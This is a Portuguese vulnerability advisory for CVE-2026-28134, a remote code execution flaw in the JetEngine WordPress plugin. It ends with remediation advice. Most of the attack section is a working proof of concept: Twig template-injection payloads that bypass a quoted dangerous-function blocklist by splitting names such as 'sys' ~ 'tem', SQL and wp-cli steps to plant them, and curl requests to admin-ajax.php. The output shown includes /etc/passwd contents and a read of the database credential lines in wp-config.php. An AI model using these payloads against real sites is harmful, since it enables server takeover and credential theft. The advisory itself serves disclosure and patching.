
JetEngine <= 3.7.2 - Autenticado (Contributor+) Execução Remota de Código
Data: 11 de março de 2026 Pontuação CVSS: 8.8 (Alta) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin Afetado: JetEngine <= 3.7.2 Slug do Plugin: jet-engine CVE: CVE-2026-28134 Status: Privado Versão do WordPress Testada: Última
A CVE-2026-28134 é uma vulnerabilidade de Execução Remota de Código no plugin JetEngine para WordPress que afeta todas as versões até 3.7.2 inclusive. A vulnerabilidade permite que atacantes autenticados com acesso de nível Contribuidor ou superior executem comandos arbitrários do sistema operacional no servidor, injetando um template Twig malicioso em um post de Listing do JetEngine.
A cadeia de ataque combina três fraquezas:
~ do Twig para dividir nomes de funções bloqueados entre tokens.✅ VULNERABILIDADE CONFIRMADA — RCE Total Alcançado
Impacto confirmado:
www-data/etc/passwd, wp-config.php)O JetEngine fornece um tipo de visão de Listing baseado em Twig/Timber. Quando o componente timber_views está habilitado, posts de Listing com _listing_type = twig têm seu post meta _jet_engine_listing_html renderizado como um template Twig ao vivo via Timber. O pipeline de renderização é acessível através da ação AJAX não autenticada wp_ajax_nopriv_jet_engine_ajax, exigindo apenas que o atacante possa criar ou modificar um post de Listing do JetEngine (função mínima de Contribuidor).
ajax-handlers.php registra a ação AJAX tanto para usuários autenticados quanto para não autenticados:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
O handler despacha para qualquer método público da classe com base em $_REQUEST['handler'], sem verificação de nonce ou capability:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
Chamar listing_load_more é publicamente acessível e aciona o pipeline de renderização de Listing.
A cadeia de chamadas listing_load_more → get_listing → frontend->get_listing_item alcança:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
Quando $listing_view = 'twig', isso dispara Jet_Engine\Timber_Views\Render::get_listing_content(), que lê o template Twig do campo meta _jet_engine_listing_html do post e o passa diretamente para render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
O Twig renderiza sem sandbox. A única proteção é sanitize_twig_content().
sanitize_twig_content() remove nomes de funções PHP perigosas usando padrões regex de fronteira de palavra e depois verifica se o template foi modificado:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
O padrão \bsystem\b corresponde ao token literal system. Ele não corresponde a "sys" ~ "tem" porque são dois tokens de string separados. O Twig avalia a concatenação no momento da renderização, produzindo "system" apenas em memória — o template fonte nunca contém a palavra bloqueada.
Payload de bypass:
{{ fn("sys" ~ "tem", "id") }}
O sanitizador vê fn, "sys", ~, "tem", "id" — nenhum deles está na blocklist. Ele passa inalterado.
fn() do TimberO Timber registra wrappers de chamáveis PHP diretamente no ambiente Twig:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} resolve para call_user_func_array("system", ["id"]) — execução arbitrária de comandos do sistema operacional.
timber_views do JetEngine está habilitado (Configurações do JetEngine > Desempenho > Timber/Twig Views).Crie um post de Listing do JetEngine com o template Twig malicioso armazenado no post meta:
-- Define o tipo de listing como twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Injeta o payload SSTI (bypass do sanitizador via concatenação ~)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Define a fonte do listing
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
Ou via wp-cli (como o usuário Contribuidor):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
String bloqueada passthru dividida como "pas" ~ "sthru":
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
Template definido como {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Template {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax é disparada para requisições não autenticadas. O despachante handle_ajax() não realiza verificação de nonce nem verificação de capability antes de invocar listing_load_more. O pipeline de renderização é, portanto, acessível por qualquer usuário não autenticado, uma vez que um listing malicioso exista.
A extensão oficial de sandbox do Twig (\Twig\Sandbox\SecurityPolicy) impõe allowlists no nível do mecanismo — é impossível chamar funções não permitidas explicitamente. O JetEngine usa createTemplate() sem sandbox. A única proteção é uma varredura de strings antes da renderização, facilmente contornada.
A abordagem de blocklist (/\bsystem\b/i) opera sobre o texto estático do template fonte. O operador de concatenação ~ do Twig constrói strings em tempo de execução. Qualquer nome bloqueado pode ser dividido: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", etc. Um sandbox adequado rejeitaria a chamada independentemente de como o nome da função foi construído.
call_user_func_arrayOs helpers Twig fn() e function() do Timber são pontes incondicionais para o call_user_func_array do PHP. Não há allowlist de funções chamáveis. Qualquer função PHP acessível pelo processo web pode ser invocada.
| Data | Evento |
|---|---|
| 2026-03-11 | Vulnerabilidade descoberta e confirmada com PoC de RCE completo |
| 2026-03-11 | Relatório elaborado |
| Arquivo | Problema |
|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax registrado — sem auth ou nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — despacho arbitrário de método público |
includes/components/timber-views/timber.php:150 | render_html() renderiza template Twig controlado pelo atacante sem sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — blocklist regex de strings, contornada por divisão de tokens |
timber-library/lib/Twig.php:42-43 | O Timber registra fn()/function() como wrappers Twig para call_user_func_array |
| Correção | Descrição |
|---|
Adicionar verificação de nonce + capability em handle_ajax() | Exigir a capability edit_posts e um nonce válido para todo o despacho AJAX |
| Habilitar sandbox Twig | Substituir a blocklist de strings por \Twig\Sandbox\SecurityPolicy — permitir explicitamente apenas funções e propriedades seguras |
Restringir o helper fn() do Timber | Aplicar allowlist aos nomes de funções chamáveis ou remover fn()/function() do ambiente Twig para templates não confiáveis |
| Validar a propriedade do listing | Confirmar que o usuário solicitante possui a capability edit_post no listing antes de renderizar seu template |